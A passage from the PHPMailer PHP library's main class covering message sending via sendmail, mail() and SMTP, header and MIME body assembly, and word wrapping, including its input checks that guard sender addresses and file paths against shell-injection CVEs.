);\n }\n\n // Sign with DKIM if enabled\n if (!empty($this->DKIM_domain)\n and !empty($this->DKIM_selector)\n and (!empty($this->DKIM_private_string)\n or (!empty($this->DKIM_private)\n and self::isPermittedPath($this->DKIM_private)\n and file_exists($this->DKIM_private)\n )\n )\n ) {\n $header_dkim = $this->DKIM_Add(\n $this->MIMEHeader . $this->mailHeader,\n $this->encodeHeader($this->secureHeader($this->Subject)),\n $this->MIMEBody\n );\n $this->MIMEHeader = rtrim($this->MIMEHeader, "\\r\\n ") . self::CRLF .\n str_replace("\\r\\n", "\\n", $header_dkim) . self::CRLF;\n }\n return true;\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n return false;\n }\n }\n\n /**\n * Actually send a message.\n * Send the email via the selected mechanism\n * @throws phpmailerException\n * @return boolean\n */\n public function postSend()\n {\n try {\n // Choose the mailer and send through it\n switch ($this->Mailer) {\n case \'sendmail\':\n case \'qmail\':\n return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);\n case \'smtp\':\n return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);\n case \'mail\':\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n default:\n $sendMethod = $this->Mailer.\'Send\';\n if (method_exists($this, $sendMethod)) {\n return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);\n }\n\n return $this->mailSend($this->MIMEHeader, $this->MIMEBody);\n }\n } catch (phpmailerException $exc) {\n $this->setError($exc->getMessage());\n $this->edebug($exc->getMessage());\n if ($this->exceptions) {\n throw $exc;\n }\n }\n return false;\n }\n\n /**\n * Send mail using the $Sendmail program.\n * @param string $header The message headers\n * @param string $body The message body\n * @see PHPMailer::$Sendmail\n * @throws phpmailerException\n * @access protected\n * @return boolean\n */\n protected function sendmailSend($header, $body)\n {\n // CVE-2016-10033, CVE-2016-10045: Don\'t pass -f if characters will be escaped.\n if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {\n if ($this->Mailer == \'qmail\') {\n $sendmailFmt = \'%s -f%s\';\n } else {\n $sendmailFmt = \'%s -oi -f%s -t\';\n }\n } else {\n if ($this->Mailer == \'qmail\') {\n $sendmailFmt = \'%s\';\n } else {\n $sendmailFmt = \'%s -oi -t\';\n }\n }\n\n // TODO: If possible, this should be changed to escapeshellarg. Needs thorough testing.\n $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);\n\n if ($this->SingleTo) {\n foreach ($this->SingleToArray as $toAddr) {\n if (!@$mail = popen($sendmail, \'w\')) {\n throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, \'To: \' . $toAddr . "\\n");\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n array($toAddr),\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n } else {\n if (!@$mail = popen($sendmail, \'w\')) {\n throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n }\n fputs($mail, $header);\n fputs($mail, $body);\n $result = pclose($mail);\n $this->doCallback(\n ($result == 0),\n $this->to,\n $this->cc,\n $this->bcc,\n $this->Subject,\n $body,\n $this->From\n );\n if ($result != 0) {\n throw new phpmailerException($this->lang(\'execute\') . $this->Sendmail, self::STOP_CRITICAL);\n }\n }\n return true;\n }\n\n /**\n * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.\n *\n * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.\n * @param string $string The string to be validated\n * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report\n * @access protected\n * @return boolean\n */\n protected static function isShellSafe($string)\n {\n // Future-proof\n if (escapeshellcmd($string) !== $string\n or !in_array(escapeshellarg($string), array("\'$string\'", "\\"$string\\""))\n ) {\n return false;\n }\n\n $length = strlen($string);\n\n for ($i = 0; $i < $length; $i++) {\n $c = $string[$i];\n\n // All other characters have a special meaning in at least one common shell, including = and +.\n // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n // Note that this does permit non-Latin alphanumeric characters based on the current locale.\n if (!ctype_alnum($c) && strpos(\'@_-.\', $c) === false) {\n return false;\n }\n }\n\n return true;\n }\n\n /**\n * Check whether a file path is of a permitted type.\n * Used to reject URLs and phar files from functions that access local file paths,\n * such as addAttachment.\n * @param string $path A relative or absolute path to a file.\n * @return bool\n */\n protected static function isPermittedPath($path)\n {\n return !preg_match(\'#^[a-z]+://#i\', $path);\n }\n\n /**\n * Send mail using the PHP mail() function.\n * @param string $header The message headers\n * @param string $body The message body\n * @link http://www.php.net/manual/en/book.mail.php\n * @throws phpmailerException\n * @access protected\n * @return boolean\n */\n protected function mailSend($header, $body)\n {\n $toArr = array();\n foreach ($this->to as $toaddr) {\n $toArr[] = $this->addrFormat($toaddr);\n }\n $to = implode(\', \', $toArr);\n\n $params = null;\n //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n // CVE-2016-10033, CVE-2016-10045: Don\'t pass -f if characters will be escaped.\n if (self::isShellSafe($this->Sender)) {\n $params = sprintf(\'-f%s\', $this->Sender);\n }\n }\n if (!empty($this->Sender) and !ini_get(\'safe_mode\') and $this->validateAddress($this->Sender)) {\n $old_from = ini_get(\'sendmail_from\');\n ini_set(\'sendmail_from\', $this->Sender);\n }\n $result = false;\n if ($this->SingleTo and count($toArr) > 1) {\n foreach ($toArr as $toAddr) {\n $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n } else {\n $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n }\n if (isset($old_from)) {\n ini_set(\'sendmail_from\', $old_from);\n }\n if (!$result) {\n throw new phpmailerException($this->lang(\'instantiate\'), self::STOP_CRITICAL);\n }\n return true;\n }\n\n /**\n * Get an instance to use for SMTP operations.\n * Override this function to load your own SMTP implementation\n * @return SMTP\n */\n public function getSMTPInstance()\n {\n if (!is_object($this->smtp)) {\n $this->smtp = new SMTP;\n }\n return $this->smtp;\n }\n\n /**\n * Send mail via SMTP.\n * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n * Uses the PHPMailerSMTP class by default.\n * @see PHPMailer::getSMTPInstance() to use a different class.\n * @param string $header The message headers\n * @param string $body The message body\n * @throws phpmailerException\n * @uses SMTP\n * @access protected\n * @return boolean\n */\n protected function smtpSend($header, $body)\n {\n $bad_rcpt = array();\n if (!$this->smtpConnect($this->SMTPOptions)) {\n throw new phpmailerException($this->lang(\'smtp_connect_failed\'), self::STOP_CRITICAL);\n }\n if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n $smtp_from = $this->Sender;\n } else {\n $smtp_from = $this->From;\n }\n if (!$this->smtp->mail($smtp_from)) {\n $this->setError($this->lang(\'from_failed\') . $smtp_from . \' : \' . implode(\',\', $this->smtp->getError()));\n throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n }\n\n // Attempt to send to all recipients\n foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n foreach ($togroup as $to) {\n if (!$this->smtp->recipient($to[0])) {\n $error = $this->smtp->getError();\n $bad_rcpt[] = array(\'to\' => $to[0], \'error\' => $error[\'detail\']);\n $isSent = false;\n } else {\n $isSent = true;\n }\n $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n }\n }\n\n // Only send the DATA command if we have viable recipients\n if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n throw new phpmailerException($this->lang(\'data_not_accepted\'), self::STOP_CRITICAL);\n }\n if ($this->SMTPKeepAlive) {\n $this->smtp->reset();\n } else {\n $this->smtp->quit();\n $this->smtp->close();\n }\n //Create error message for any bad addresses\n if (count($bad_rcpt) > 0) {\n $errstr = \'\';\n foreach ($bad_rcpt as $bad) {\n $errstr .= $bad[\'to\'] . \': \' . $bad[\'error\'];\n }\n throw new phpmailerException(\n $this->lang(\'recipients_failed\') . $errstr,\n self::STOP_CONTINUE\n );\n }\n return true;\n }\n\n /**\n * Initiate a connection to an SMTP server.\n * Returns false if the operation failed.\n * @param array $options An array of options compatible with stream_context_create()\n * @uses SMTP\n * @access public\n * @throws phpmailerException\n * @return boolean\n */\n public function smtpConnect($options = null)\n {\n if (is_null($this->smtp)) {\n $this->smtp = $this->getSMTPInstance();\n }\n\n //If no options are provided, use whatever is set in the instance\n if (is_null($options)) {\n $options = $this->SMTPOptions;\n }\n\n // Already connected?\n if ($this->smtp->connected()) {\n return true;\n }\n\n $this->smtp->setTimeout($this->Timeout);\n $this->smtp->setDebugLevel($this->SMTPDebug);\n $this->smtp->setDebugOutput($this->Debugoutput);\n $this->smtp->setVerp($this->do_verp);\n $hosts = explode(\';\', $this->Host);\n $lastexception = null;\n\n foreach ($hosts as $hostentry) {\n $hostinfo = array();\n if (!preg_match(\n \'/^((ssl|tls):\\/\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$/\',\n trim($hostentry),\n $hostinfo\n )) {\n // Not a valid host entry\n $this->edebug(\'Ignoring invalid host: \' . $hostentry);\n continue;\n }\n // $hostinfo[2]: optional ssl or tls prefix\n // $hostinfo[3]: the hostname\n // $hostinfo[4]: optional port number\n // The host string prefix can temporarily override the current setting for SMTPSecure\n // If it\'s not specified, the default value is used\n $prefix = \'\';\n $secure = $this->SMTPSecure;\n $tls = ($this->SMTPSecure == \'tls\');\n if (\'ssl\' == $hostinfo[2] or (\'\' == $hostinfo[2] and \'ssl\' == $this->SMTPSecure)) {\n $prefix = \'ssl://\';\n $tls = false; // Can\'t have SSL and TLS at the same time\n $secure = \'ssl\';\n } elseif ($hostinfo[2] == \'tls\') {\n $tls = true;\n // tls doesn\'t use a prefix\n $secure = \'tls\';\n }\n //Do we need the OpenSSL extension?\n $sslext = defined(\'OPENSSL_ALGO_SHA1\');\n if (\'tls\' === $secure or \'ssl\' === $secure) {\n //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n if (!$sslext) {\n throw new phpmailerException($this->lang(\'extension_missing\').\'openssl\', self::STOP_CRITICAL);\n }\n }\n $host = $hostinfo[3];\n $port = $this->Port;\n $tport = (integer)$hostinfo[4];\n if ($tport > 0 and $tport < 65536) {\n $port = $tport;\n }\n if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n try {\n if ($this->Helo) {\n $hello = $this->Helo;\n } else {\n $hello = $this->serverHostname();\n }\n $this->smtp->hello($hello);\n //Automatically enable TLS encryption if:\n // * it\'s not disabled\n // * we have openssl extension\n // * we are not already using SSL\n // * the server offers STARTTLS\n if ($this->SMTPAutoTLS and $sslext and $secure != \'ssl\' and $this->smtp->getServerExt(\'STARTTLS\')) {\n $tls = true;\n }\n if ($tls) {\n if (!$this->smtp->startTLS()) {\n throw new phpmailerException($this->lang(\'connect_host\'));\n }\n // We must resend EHLO after TLS negotiation\n $this->smtp->hello($hello);\n }\n if ($this->SMTPAuth) {\n if (!$this->smtp->authenticate(\n $this->Username,\n $this->Password,\n $this->AuthType,\n $this->Realm,\n $this->Workstation\n )\n ) {\n throw new phpmailerException($this->lang(\'authenticate\'));\n }\n }\n return true;\n } catch (phpmailerException $exc) {\n $lastexception = $exc;\n $this->edebug($exc->getMessage());\n // We must have connected, but then failed TLS or Auth, so close connection nicely\n $this->smtp->quit();\n }\n }\n }\n // If we get here, all connection attempts have failed, so close connection hard\n $this->smtp->close();\n // As we\'ve caught all exceptions, just report whatever the last one was\n if ($this->exceptions and !is_null($lastexception)) {\n throw $lastexception;\n }\n return false;\n }\n\n /**\n * Close the active SMTP session if one exists.\n * @return void\n */\n public function smtpClose()\n {\n if (is_a($this->smtp, \'SMTP\')) {\n if ($this->smtp->connected()) {\n $this->smtp->quit();\n $this->smtp->close();\n }\n }\n }\n\n /**\n * Set the language for error messages.\n * Returns false if it cannot load the language file.\n * The default language is English.\n * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")\n * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n * @return boolean\n * @access public\n */\n public function setLanguage($langcode = \'en\', $lang_path = \'\')\n {\n // Backwards compatibility for renamed language codes\n $renamed_langcodes = array(\n \'br\' => \'pt_br\',\n \'cz\' => \'cs\',\n \'dk\' => \'da\',\n \'no\' => \'nb\',\n \'se\' => \'sv\',\n \'sr\' => \'rs\'\n );\n\n if (isset($renamed_langcodes[$langcode])) {\n $langcode = $renamed_langcodes[$langcode];\n }\n\n // Define full set of translatable strings in English\n $PHPMAILER_LANG = array(\n \'authenticate\' => \'SMTP Error: Could not authenticate.\',\n \'connect_host\' => \'SMTP Error: Could not connect to SMTP host.\',\n \'data_not_accepted\' => \'SMTP Error: data not accepted.\',\n \'empty_message\' => \'Message body empty\',\n \'encoding\' => \'Unknown encoding: \',\n \'execute\' => \'Could not execute: \',\n \'file_access\' => \'Could not access file: \',\n \'file_open\' => \'File Error: Could not open file: \',\n \'from_failed\' => \'The following From address failed: \',\n \'instantiate\' => \'Could not instantiate mail function.\',\n \'invalid_address\' => \'Invalid address: \',\n \'mailer_not_supported\' => \' mailer is not supported.\',\n \'provide_address\' => \'You must provide at least one recipient email address.\',\n \'recipients_failed\' => \'SMTP Error: The following recipients failed: \',\n \'signing\' => \'Signing Error: \',\n \'smtp_connect_failed\' => \'SMTP connect() failed.\',\n \'smtp_error\' => \'SMTP server error: \',\n \'variable_set\' => \'Cannot set or reset variable: \',\n \'extension_missing\' => \'Extension missing: \'\n );\n if (empty($lang_path)) {\n // Calculate an absolute path so it can work if CWD is not here\n $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . \'language\'. DIRECTORY_SEPARATOR;\n }\n //Validate $langcode\n if (!preg_match(\'/^[a-z]{2}(?:_[a-zA-Z]{2})?$/\', $langcode)) {\n $langcode = \'en\';\n }\n $foundlang = true;\n $lang_file = $lang_path . \'phpmailer.lang-\' . $langcode . \'.php\';\n // There is no English translation file\n if ($langcode != \'en\') {\n // Make sure language file path is readable\n if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n $foundlang = false;\n } else {\n // Overwrite language-specific strings.\n // This way we\'ll never have missing translation keys.\n $foundlang = include $lang_file;\n }\n }\n $this->language = $PHPMAILER_LANG;\n return (boolean)$foundlang; // Returns false if language not found\n }\n\n /**\n * Get the array of strings for the current language.\n * @return array\n */\n public function getTranslations()\n {\n return $this->language;\n }\n\n /**\n * Create recipient headers.\n * @access public\n * @param string $type\n * @param array $addr An array of recipient,\n * where each recipient is a 2-element indexed array with element 0 containing an address\n * and element 1 containing a name, like:\n * array(array(\'joe@example.com\', \'Joe User\'), array(\'zoe@example.com\', \'Zoe User\'))\n * @return string\n */\n public function addrAppend($type, $addr)\n {\n $addresses = array();\n foreach ($addr as $address) {\n $addresses[] = $this->addrFormat($address);\n }\n return $type . \': \' . implode(\', \', $addresses) . $this->LE;\n }\n\n /**\n * Format an address for use in a message header.\n * @access public\n * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n * like array(\'joe@example.com\', \'Joe User\')\n * @return string\n */\n public function addrFormat($addr)\n {\n if (empty($addr[1])) { // No name provided\n return $this->secureHeader($addr[0]);\n } else {\n return $this->encodeHeader($this->secureHeader($addr[1]), \'phrase\') . \' <\' . $this->secureHeader(\n $addr[0]\n ) . \'>\';\n }\n }\n\n /**\n * Word-wrap message.\n * For use with mailers that do not automatically perform wrapping\n * and for quoted-printable encoded messages.\n * Original written by philippe.\n * @param string $message The message to wrap\n * @param integer $length The line length to wrap to\n * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n * @access public\n * @return string\n */\n public function wrapText($message, $length, $qp_mode = false)\n {\n if ($qp_mode) {\n $soft_break = sprintf(\' =%s\', $this->LE);\n } else {\n $soft_break = $this->LE;\n }\n // If utf-8 encoding is used, we will need to make sure we don\'t\n // split multibyte characters when we wrap\n $is_utf8 = (strtolower($this->CharSet) == \'utf-8\');\n $lelen = strlen($this->LE);\n $crlflen = strlen(self::CRLF);\n\n $message = $this->fixEOL($message);\n //Remove a trailing line break\n if (substr($message, -$lelen) == $this->LE) {\n $message = substr($message, 0, -$lelen);\n }\n\n //Split message into lines\n $lines = explode($this->LE, $message);\n //Message will be rebuilt in here\n $message = \'\';\n foreach ($lines as $line) {\n $words = explode(\' \', $line);\n $buf = \'\';\n $firstword = true;\n foreach ($words as $word) {\n if ($qp_mode and (strlen($word) > $length)) {\n $space_left = $length - strlen($buf) - $crlflen;\n if (!$firstword) {\n if ($space_left > 20) {\n $len = $space_left;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == \'=\') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == \'=\') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n $buf .= \' \' . $part;\n $message .= $buf . sprintf(\'=%s\', self::CRLF);\n } else {\n $message .= $buf . $soft_break;\n }\n $buf = \'\';\n }\n while (strlen($word) > 0) {\n if ($length <= 0) {\n break;\n }\n $len = $length;\n if ($is_utf8) {\n $len = $this->utf8CharBoundary($word, $len);\n } elseif (substr($word, $len - 1, 1) == \'=\') {\n $len--;\n } elseif (substr($word, $len - 2, 1) == \'=\') {\n $len -= 2;\n }\n $part = substr($word, 0, $len);\n $word = substr($word, $len);\n\n if (strlen($word) > 0) {\n $message .= $part . sprintf(\'=%s\', self::CRLF);\n } else {\n $buf = $part;\n }\n }\n } else {\n $buf_o = $buf;\n if (!$firstword) {\n $buf .= \' \';\n }\n $buf .= $word;\n\n if (strlen($buf) > $length and $buf_o != \'\') {\n $message .= $buf_o . $soft_break;\n $buf = $word;\n }\n }\n $firstword = false;\n }\n $message .= $buf . self::CRLF;\n }\n\n return $message;\n }\n\n /**\n * Find the last character boundary prior to $maxLength in a utf-8\n * quoted-printable encoded string.\n * Original written by Colin Brown.\n * @access public\n * @param string $encodedText utf-8 QP text\n * @param integer $maxLength Find the last character boundary prior to this length\n * @return integer\n */\n public function utf8CharBoundary($encodedText, $maxLength)\n {\n $foundSplitPos = false;\n $lookBack = 3;\n while (!$foundSplitPos) {\n $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n $encodedCharPos = strpos($lastChunk, \'=\');\n if (false !== $encodedCharPos) {\n // Found start of encoded character byte within $lookBack block.\n // Check the encoded byte value (the 2 chars after the \'=\')\n $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n $dec = hexdec($hex);\n if ($dec < 128) {\n // Single byte character.\n // If the encoded char was found at pos 0, it will fit\n // otherwise reduce maxLength to start of the encoded char\n if ($encodedCharPos > 0) {\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n }\n $foundSplitPos = true;\n } elseif ($dec >= 192) {\n // First byte of a multi byte character\n // Reduce maxLength to split at start of character\n $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n $foundSplitPos = true;\n } elseif ($dec < 192) {\n // Middle byte of a multi byte character, look further back\n $lookBack += 3;\n }\n } else {\n // No encoded character found\n $foundSplitPos = true;\n }\n }\n return $maxLength;\n }\n\n /**\n * Apply word wrapping to the message body.\n * Wraps the message body to the number of chars set in the WordWrap property.\n * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n * This is called automatically by createBody(), so you don\'t need to call it yourself.\n * @access public\n * @return void\n */\n public function setWordWrap()\n {\n if ($this->WordWrap < 1) {\n return;\n }\n\n switch ($this->message_type) {\n case \'alt\':\n case \'alt_inline\':\n case \'alt_attach\':\n case \'alt_inline_attach\':\n $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n break;\n default:\n $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n break;\n }\n }\n\n /**\n * Assemble message headers.\n * @access public\n * @return string The assembled headers\n */\n public function createHeader()\n {\n $result = \'\';\n\n $result .= $this->headerLine(\'Date\', $this->MessageDate == \'\' ? self::rfcDate() : $this->MessageDate);\n\n // To be created automatically by mail()\n if ($this->SingleTo) {\n if ($this->Mailer != \'mail\') {\n foreach ($this->to as $toaddr) {\n $this->SingleToArray[] = $this->addrFormat($toaddr);\n }\n }\n } else {\n if (count($this->to) > 0) {\n if ($this->Mailer != \'mail\') {\n $result .= $this->addrAppend(\'To\', $this->to);\n }\n } elseif (count($this->cc) == 0) {\n $result .= $this->headerLine(\'To\', \'undisclosed-recipients:;\');\n }\n }\n\n $result .= $this->addrAppend(\'From\', array(array(trim($this->From), $this->FromName)));\n\n // sendmail and mail() extract Cc from the header before sending\n if (count($this->cc) > 0) {\n $result .= $this->addrAppend(\'Cc\', $this->cc);\n }\n\n // sendmail and mail() extract Bcc from the header before sending\n if ((\n $this->Mailer == \'sendmail\' or $this->Mailer == \'qmail\' or $this->Mailer == \'mail\'\n )\n and count($this->bcc) > 0\n ) {\n $result .= $this->addrAppend(\'Bcc\', $this->bcc);\n }\n\n if (count($this->ReplyTo) > 0) {\n $result .= $this->addrAppend(\'Reply-To\', $this->ReplyTo);\n }\n\n // mail() sets the subject itself\n if ($this->Mailer != \'mail\') {\n $result .= $this->headerLine(\'Subject\', $this->encodeHeader($this->secureHeader($this->Subject)));\n }\n\n // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n // https://tools.ietf.org/html/rfc5322#section-3.6.4\n if (\'\' != $this->MessageID and preg_match(\'/^<.*@.*>$/\', $this->MessageID)) {\n $this->lastMessageID = $this->MessageID;\n } else {\n $this->lastMessageID = sprintf(\'<%s@%s>\', $this->uniqueid, $this->serverHostname());\n }\n $result .= $this->headerLine(\'Message-ID\', $this->lastMessageID);\n if (!is_null($this->Priority)) {\n $result .= $this->headerLine(\'X-Priority\', $this->Priority);\n }\n if ($this->XMailer == \'\') {\n $result .= $this->headerLine(\n \'X-Mailer\',\n \'PHPMailer \' . $this->Version . \' (https://github.com/PHPMailer/PHPMailer)\'\n );\n } else {\n $myXmailer = trim($this->XMailer);\n if ($myXmailer) {\n $result .= $this->headerLine(\'X-Mailer\', $myXmailer);\n }\n }\n\n if ($this->ConfirmReadingTo != \'\') {\n $result .= $this->headerLine(\'Disposition-Notification-To\', \'<\' . $this->ConfirmReadingTo . \'>\');\n }\n\n // Add custom headers\n foreach ($this->CustomHeader as $header) {\n $result .= $this->headerLine(\n trim($header[0]),\n $this->encodeHeader(trim($header[1]))\n );\n }\n if (!$this->sign_key_file) {\n $result .= $this->headerLine(\'MIME-Version\', \'1.0\');\n $result .= $this->getMailMIME();\n }\n\n return $result;\n }\n\n /**\n * Get the message MIME type headers.\n * @access public\n * @return string\n */\n public function getMailMIME()\n {\n $result = \'\';\n $ismultipart = true;\n switch ($this->message_type) {\n case \'inline\':\n $result .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n $result .= $this->textLine("\\tboundary=\\"" . $this->boundary[1] . \'"\');\n break;\n case \'attach\':\n case \'inline_attach\':\n case \'alt_attach\':\n case \'alt_inline_attach\':\n $result .= $this->headerLine(\'Content-Type\', \'multipart/mixed;\');\n $result .= $this->textLine("\\tboundary=\\"" . $this->boundary[1] . \'"\');\n break;\n case \'alt\':\n case \'alt_inline\':\n $result .= $this->headerLine(\'Content-Type\', \'multipart/alternative;\');\n $result .= $this->textLine("\\tboundary=\\"" . $this->boundary[1] . \'"\');\n break;\n default:\n // Catches case \'plain\': and case \'\':\n $result .= $this->textLine(\'Content-Type: \' . $this->ContentType . \'; charset=\' . $this->CharSet);\n $ismultipart = false;\n break;\n }\n // RFC1341 part 5 says 7bit is assumed if not specified\n if ($this->Encoding != \'7bit\') {\n // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n if ($ismultipart) {\n if ($this->Encoding == \'8bit\') {\n $result .= $this->headerLine(\'Content-Transfer-Encoding\', \'8bit\');\n }\n // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n } else {\n $result .= $this->headerLine(\'Content-Transfer-Encoding\', $this->Encoding);\n }\n }\n\n if ($this->Mailer != \'mail\') {\n $result .= $this->LE;\n }\n\n return $result;\n }\n\n /**\n * Returns the whole MIME message.\n * Includes complete headers and body.\n * Only valid post preSend().\n * @see PHPMailer::preSend()\n * @access public\n * @return string\n */\n public function getSentMIMEMessage()\n {\n return rtrim($this->MIMEHeader . $this->mailHeader, "\\n\\r") . self::CRLF . self::CRLF . $this->MIMEBody;\n }\n\n /**\n * Create unique ID\n * @return string\n */\n protected function generateId() {\n return md5(uniqid(time()));\n }\n\n /**\n * Assemble the message body.\n * Returns an empty string on failure.\n * @access public\n * @throws phpmailerException\n * @return string The assembled message body\n */\n public function createBody()\n {\n $body = \'\';\n //Create unique IDs and preset boundaries\n $this->uniqueid = $this->generateId();\n $this->boundary[1] = \'b1_\' . $this->uniqueid;\n $this->boundary[2] = \'b2_\' . $this->uniqueid;\n $this->boundary[3] = \'b3_\' . $this->uniqueid;\n\n if ($this->sign_key_file) {\n $body .= $this->getMailMIME() . $this->LE;\n }\n\n $this->setWordWrap();\n\n $bodyEncoding = $this->Encoding;\n $bodyCharSet = $this->CharSet;\n //Can we do a 7-bit downgrade?\n if ($bodyEncoding == \'8bit\' and !$this->has8bitChars($this->Body)) {\n $bodyEncoding = \'7bit\';\n //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $bodyCharSet = \'us-ascii\';\n }\n //If lines are too long, and we\'re not already using an encoding that will shorten them,\n //change to quoted-printable transfer encoding for the body part only\n if (\'base64\' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n $bodyEncoding = \'quoted-printable\';\n }\n\n $altBodyEncoding = $this->Encoding;\n $altBodyCharSet = $this->CharSet;\n //Can we do a 7-bit downgrade?\n if ($altBodyEncoding == \'8bit\' and !$this->has8bitChars($this->AltBody)) {\n $altBodyEncoding = \'7bit\';\n //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n $altBodyCharSet = \'us-ascii\';\n }\n //If lines are too long, and we\'re not already using an encoding that will shorten them,\n //change to quoted-printable transfer encoding for the alt body part only\n if (\'base64\' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n $altBodyEncoding = \'quoted-printable\';\n }\n //Use this as a preamble in all multipart message types\n $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;\n switch ($this->message_type) {\n case \'inline\':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, \'\', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll(\'inline\', $this->boundary[1]);\n break;\n case \'attach\':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, \'\', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n break;\n case \'inline_attach\':\n $body .= $mimepre;\n $body .= $this->textLine(\'--\' . $this->boundary[1]);\n $body .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, \'\', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll(\'inline\', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n break;\n case \'alt\':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, \'text/html\', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n if (!empty($this->Ical)) {\n $body .= $this->getBoundary($this->boundary[1], \'\', \'text/calendar; method=REQUEST\', \'\');\n $body .= $this->encodeString($this->Ical, $this->Encoding);\n $body .= $this->LE . $this->LE;\n }\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case \'alt_inline\':\n $body .= $mimepre;\n $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->textLine(\'--\' . $this->boundary[1]);\n $body .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n $body .= $this->LE;\n $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, \'text/html\', $bodyEncoding);\n $body .= $this->encodeString($this->Body, $bodyEncoding);\n $body .= $this->LE . $this->LE;\n $body .= $this->attachAll(\'inline\', $this->boundary[2]);\n $body .= $this->LE;\n $body .= $this->endBoundary($this->boundary[1]);\n break;\n case \'alt_attach\':\n $body .= $mimepre;\n $body .= $this->textLine(\'--\' . $this->boundary[1]);\n $body .= $this->headerLine(\'Content-Type\', \'multipart/alternative;\');\n $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n $body .= $this->LE;\n $body .= 